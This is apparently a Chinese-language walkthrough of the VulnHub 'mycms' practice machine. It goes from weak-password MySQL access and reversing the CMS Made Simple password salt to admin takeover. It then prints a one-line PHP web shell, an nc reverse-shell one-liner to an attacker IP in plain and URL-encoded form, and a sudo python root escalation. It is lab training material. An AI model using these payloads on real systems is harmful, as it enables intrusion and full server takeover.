vulnhub靶場
Vulnhub靶机-Jangow
Vulnhub靶机-mycms
Vulnhub靶机-no_name
Vulnhub靶机-Tempus Fugit 1
HACK学习
-
+
首页
Vulnhub靶机-mycms
# Vulnhub 靶机-myCmsms ## 信息收集 ``` nmap -sV -sT -p- -sC 192.168.1.29 ```  ``` gobuster dir -u http://192.168.1.29 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,html,js,.bak,json,git,php.~,.txt~,.js~,.git~,.swp,.md,.swo,.swn,.un ```  ## 寻找漏洞 ``` mysql -h 192.168.1.29 -uroot -proot #尝试弱口令进入。成功 ```  ``` select * from cms_users limit 0,10; ```  > **并不能破解**  **开始替换密码** ``` echo -n 111111 | md5deep #111111=96e79218965eb72c92a549dd5a330112 ```    **发现登录不成功,那么说明密码可能不是 md5 加密那么简单。此时,陷入僵局。需要找到框架源码,看一下是怎么加密的。** > [http://www.cmsmadesimple.org/](http://www.cmsmadesimple.org/) > > **#源码下载地址。**     **下载完成,开始代码审计。** > **LoadUserByUsername()方法对用户密码作出处理,共传递四个参数,第一个是用户名,第二个是密码,第三个和第四个为 true。**  > **跟踪进去之后,发现先 get_site_preference()方法了一下,再对密码进行 md5 加密。** > > **那么问题就出在这个 get_site_preference()方法上。** > > **该方法,传递了两个参数,第一个是 sitemask,第二个为空。**  > **get_site_preference()方法第一个参数传递的是 sitemask,将该参数传递给了 cms_siteprefs 类内部的 get 方法。**  > **进入这个 cms_siteprefs 类,找了这个 get 方法。** > > **发现这个 get 方法,调用给了这个缓存类的 get 方法,这个缓存类的 get 方法并没有用传递的参数,而是用系统的 *****CLASS*** > > **那么只需要找到这个 global_cache 类的 get 方法初始化拿到了哪些东西。那么就知道这个 cms_siteprefs.get 方法接收到的这个 sitemask 有什么用了。**  > **这里具体的解释已经放到图片里面了。** > > **最后得到的值应该就是键值对数组。** > > **举个例子就是:A[key]=B[value]** > > **然后,在通过上面传递的参数,也就是 sitemask,去找到这个 value。**  **好了,到了这里,思路已经很清晰了,在这里在逆着捋一遍。** ``` #步骤一:初始化 #1.1最开始代码初始化,会通过cms_siteprefs的read方法,得到一个值也就是这段代码: public static function setup() { $obj = new \CMSMS\internal\global_cachable(__CLASS__,function(){ return self::_read(); }); global_cache::add_cachable($obj); } #1.2而这个read()方法会对数据库进行查询,查询语句是: SELECT sitepref_name,sitepref_value FROM cms_siteprefs #1.3将查到的name和value做成键值对对应起来,也就是A[KEY]=B[VALUE],也就是下面这段代码: /** * @ignore * @internal */ private static function _read() { $db = CmsApp::get_instance()->GetDb(); if( !$db ) return; $query = 'SELECT sitepref_name,sitepref_value FROM '.CMS_DB_PREFIX.'siteprefs'; $dbr = $db->GetArray($query); if( is_array($dbr) ) { $_prefs = array(); for( $i = 0, $n = count($dbr); $i < $n; $i++ ) { $row = $dbr[$i]; $_prefs[$row['sitepref_name']] = $row['sitepref_value']; } return $_prefs; } } #这个时候,回到1.1,将这个键值对数据,存到缓存中。也就是1.1中的global_cache::add_cachable($obj); #步骤二:验证 #2.1步骤一,初始化完成之后,就开始进行验证。 #将传递的sitemask参数直接放进prefs数组中,看是否为空,也就是找A[sitemask]=B[VALUE]是否为空,不为空返回这个Value,也就是这段代码: public static function get($key,$dflt = '') { $prefs = global_cache::get(__CLASS__); if( isset($prefs[$key]) ) return $prefs[$key]; return $dflt; } #步骤三:加密 #这个时候开始加密:当得到有数据的值后,会对前端passwd进行拼接加密,也就是这段代码: if ($password != '') { $where[] = 'password = ?'; $params[] = md5(get_site_preference('sitemask','').$password); } ``` **所以,我们只需要在数据库中查到该数据表中这个 column 中是否有等于传入的该参数:sitemask**  **找到!!!!** **那么加密方式就是:a235561351813137+passwd** **再回到最开始,重新进行密码更改**    **登录成功!!!** ## 开始反弹 shell **找到文件上传地址:**  **编写反弹 shell 脚本:** ``` <?php system($_REQUEST['looch']);?> ```  **很遗憾,发现并不能上传.php 文件,不过没关系,我们可以用其他的方法** **打开 fuzzdicts-master,找到 php 上传字典打开该字典,试一些可以上传成功,且能够被 php 解析的。**   **终于找到!!!** **开始反弹 shell** **找到反弹 shell 命令:**  **进行 url 加密:** ``` rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16 8888 >/tmp/f rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.16+80>/tmp/f ```  **试了好几个常用端口,发现都不能回推,有可能是服务器那边没有 nc 命令?**  **id 命令是可用的**  **那么笔者就开始在网上找其他的 php 反弹的脚本,大家也都自行查找把。** **最后反弹成功。**  ## 开始提权 **先设置一个完美交互式 shell** ``` python3 -c 'import pty;pty.spawn("/bin/bash")'; stty raw -echo fg ```  > **查看是否有可以 suid 提权的** > > **发现一个.sh 文件,**  **进入用户目录,查看了一下,并不能执行。**  **进入/var/www/html/admin 目录,有重大发现!!!**  **开始进行解密,得到用户名和密码。开始连接!!!**  **进入用户,发现设置有漏洞,可以进行无密码的 root 权限操作:**  **提权成功:** ``` sudo python -c 'import pty; pty.spawn("/bin/bash")' ```  **===========================================** **总结:** **该靶机需要知道以下几个知识点:** 1. **从 nmap 扫描 mysql 结果,判断 mysql 是否支持外联** 2. **会代码审计** 3. **会 mysql 数据查询** 4. **会 python 提权方式** 5. **知道 php 解析后缀有哪些** --- **暂时只想到这么多,睡觉了~~~**
looch
2022年11月19日 02:00
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档
PDF文档(打印)
分享
链接
类型
密码
更新密码